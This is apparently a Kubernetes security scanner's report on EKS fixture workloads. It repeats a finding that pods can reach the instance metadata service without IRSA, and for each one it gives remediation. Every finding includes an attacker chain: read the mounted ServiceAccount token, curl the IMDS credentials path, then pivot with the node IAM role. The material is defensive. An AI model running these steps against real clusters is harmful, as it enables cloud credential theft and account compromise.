A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"pv-hostpath-fixtures/pv-hostpath-app"
reason
"no-egress-policy"
sa
"pv-hostpath-fixtures/sa-pv-hostpath"
workload
"Deployment/pv-hostpath-fixtures/pv-hostpath-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "pv-hostpath-fixtures/pv-hostpath-app",
  "reason": "no-egress-policy",
  "sa": "pv-hostpath-fixtures/sa-pv-hostpath",
  "workload": "Deployment/pv-hostpath-fixtures/pv-hostpath-app"
}
HIGH ServiceAccount/rbac-fixtures/sa-impersonate Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate Resource: Deployment/rbac-fixtures/imp-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"rbac-fixtures/imp-app"
reason
"no-egress-policy"
sa
"rbac-fixtures/sa-impersonate"
workload
"Deployment/rbac-fixtures/imp-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "rbac-fixtures/imp-app",
  "reason": "no-egress-policy",
  "sa": "rbac-fixtures/sa-impersonate",
  "workload": "Deployment/rbac-fixtures/imp-app"
}
HIGH ServiceAccount/secrets-bundle/cross-ns-reader Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/secrets-bundle/cross-ns-reader Resource: Deployment/secrets-bundle/cross-ns-consumer

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"secrets-bundle/cross-ns-consumer"
reason
"no-egress-policy"
sa
"secrets-bundle/cross-ns-reader"
workload
"Deployment/secrets-bundle/cross-ns-consumer"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "secrets-bundle/cross-ns-consumer",
  "reason": "no-egress-policy",
  "sa": "secrets-bundle/cross-ns-reader",
  "workload": "Deployment/secrets-bundle/cross-ns-consumer"
}
HIGH ServiceAccount/statusspoof-fixtures/default Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/statusspoof-fixtures/default Resource: Deployment/statusspoof-fixtures/statusspoof-api

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"statusspoof-fixtures/statusspoof-api"
reason
"no-egress-policy"
sa
"statusspoof-fixtures/default"
workload
"Deployment/statusspoof-fixtures/statusspoof-api"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "statusspoof-fixtures/statusspoof-api",
  "reason": "no-egress-policy",
  "sa": "statusspoof-fixtures/default",
  "workload": "Deployment/statusspoof-fixtures/statusspoof-api"
}
HIGH ServiceAccount/foothold-exec/foothold-reader Workload 9.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/foothold-exec/foothold-reader Resource: Pod/foothold-exec/foothold-target

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourcePod

A Pod wraps one or more containers that share an IP, hostname, and volumes. From an attacker's perspective, a pod is a foothold: the API token mounted into it grants the pod's ServiceAccount permissions; if the pod is privileged or mounts the host filesystem, it's also a path to escape onto the node.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"foothold-exec/foothold-target"
reason
"no-egress-policy"
sa
"foothold-exec/foothold-reader"
workload
"Pod/foothold-exec/foothold-target"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "foothold-exec/foothold-target",
  "reason": "no-egress-policy",
  "sa": "foothold-exec/foothold-reader",
  "workload": "Pod/foothold-exec/foothold-target"
}
HIGH ServiceAccount/rbac-fixtures/sa-pod-create Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: DaemonSet/rbac-fixtures/daemon-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDaemonSet

A DaemonSet schedules one pod per node, typically for cluster infrastructure (CNI, log shipping, node monitoring). DaemonSets are frequent targets because they often need hostNetwork, hostPath, or privileged to do their job, which makes them ideal for attackers if compromised.

TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"rbac-fixtures/daemon-app"
reason
"no-egress-policy"
sa
"rbac-fixtures/sa-pod-create"
workload
"DaemonSet/rbac-fixtures/daemon-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "rbac-fixtures/daemon-app",
  "reason": "no-egress-policy",
  "sa": "rbac-fixtures/sa-pod-create",
  "workload": "DaemonSet/rbac-fixtures/daemon-app"
}
HIGH ServiceAccount/foothold-fixtures/foothold-priv Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/foothold-fixtures/foothold-priv Resource: Deployment/foothold-fixtures/foothold-priv-app

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
fallbackTo
"node-iam-role"
pod
"foothold-fixtures/foothold-priv-app"
reason
"no-egress-policy"
sa
"foothold-fixtures/foothold-priv"
workload
"Deployment/foothold-fixtures/foothold-priv-app"
Show raw JSON
{
  "fallbackTo": "node-iam-role",
  "offenderCIDR": "",
  "pod": "foothold-fixtures/foothold-priv-app",
  "reason": "no-egress-policy",
  "sa": "foothold-fixtures/foothold-priv",
  "workload": "Deployment/foothold-fixtures/foothold-priv-app"
}
HIGH ServiceAccount/local-path-storage/local-path-provisioner-service-account Workload 8.2
Pod can reach IMDS without IRSA carve-out (EKS node-IAM pivot)
Scope · Workload Workload-scoped: this pod (or its controlling workload) can reach 169.254.169.254 and its ServiceAccount has no IRSA binding, so a compromise falls back to the worker node's IAM role.
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account Resource: Deployment/local-path-storage/local-path-provisioner

On EKS clusters backed by EC2 nodegroups, every node carries an IAM instance profile that the kubelet (and any pod with raw network reach to the metadata service) can assume. A pod whose ServiceAccount lacks the eks.amazonaws.com/role-arn annotation has no IRSA binding, so any SSRF, RCE, or token-theft in that pod can curl 169.254.169.254 and inherit the worker node's IAM role. Node IAM roles are typically broader than per-workload roles (they need to register the node, pull images, attach EBS volumes), which turns container compromise into AWS-account pivot. This rule fires only on EKS, and only when the pod is not scheduled to a Fargate node (Fargate has no IMDS exposure).

Impact AWS account compromise via worker node IAM role: an attacker who lands code execution in the pod inherits the node instance profile and pivots to whatever AWS APIs that profile is authorized for.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
ResourceDeployment

A Deployment manages a ReplicaSet which manages Pods. The dangerous attribute lives on the pod template: every replica inherits the same ServiceAccount, the same securityContext, and the same volume mounts. A risky pod template multiplies into N risky pods.

Kubernetes docs ↗
TechniqueSteal node IAM role via IMDS

EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

  1. Attacker achieves RCE in the pod (vulnerable app, dependency CVE, SSRF, ...).
  2. From inside the pod, attacker curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ to enumerate the EC2 instance profile.
  3. Attacker fetches the role's temporary credentials and uses aws sts get-caller-identity to confirm scope.
  4. Attacker calls the AWS APIs the node IAM role is authorized for (commonly: read S3, describe EC2, decrypt KMS, push images to ECR) and pivots laterally in the AWS account.
Remediation
Bind the pod's ServiceAccount to a least-privileged IRSA role AND apply an egress NetworkPolicy that blocks 169.254.169.254.
  1. Create an IAM role with the workload's required permissions and the EKS OIDC trust policy, then annotate the ServiceAccount: kubectl annotate sa <sa> eks.amazonaws.com/role-arn=arn:aws:iam::<acct>:role/<role>.
  2. Apply a namespace-scoped egress NetworkPolicy that explicitly carves IMDS out of any 0.0.0.0/0 allow rule: to: [{ ipBlock: { cidr: 0.0.0.0/0, except: [169.254.169.254/32] } }].
  3. Enforce IMDSv2 on the EKS managed nodegroup (--metadata-options HttpTokens=required HttpPutResponseHopLimit=1) so even reachable IMDS requires session tokens that pods cannot easily obtain.
  4. Audit the node IAM role and tighten it to the minimum kubelet / node-controller surface (drop S3 / EC2 / KMS / Secrets Manager permissions unless the node itself genuinely needs them).
Evidence
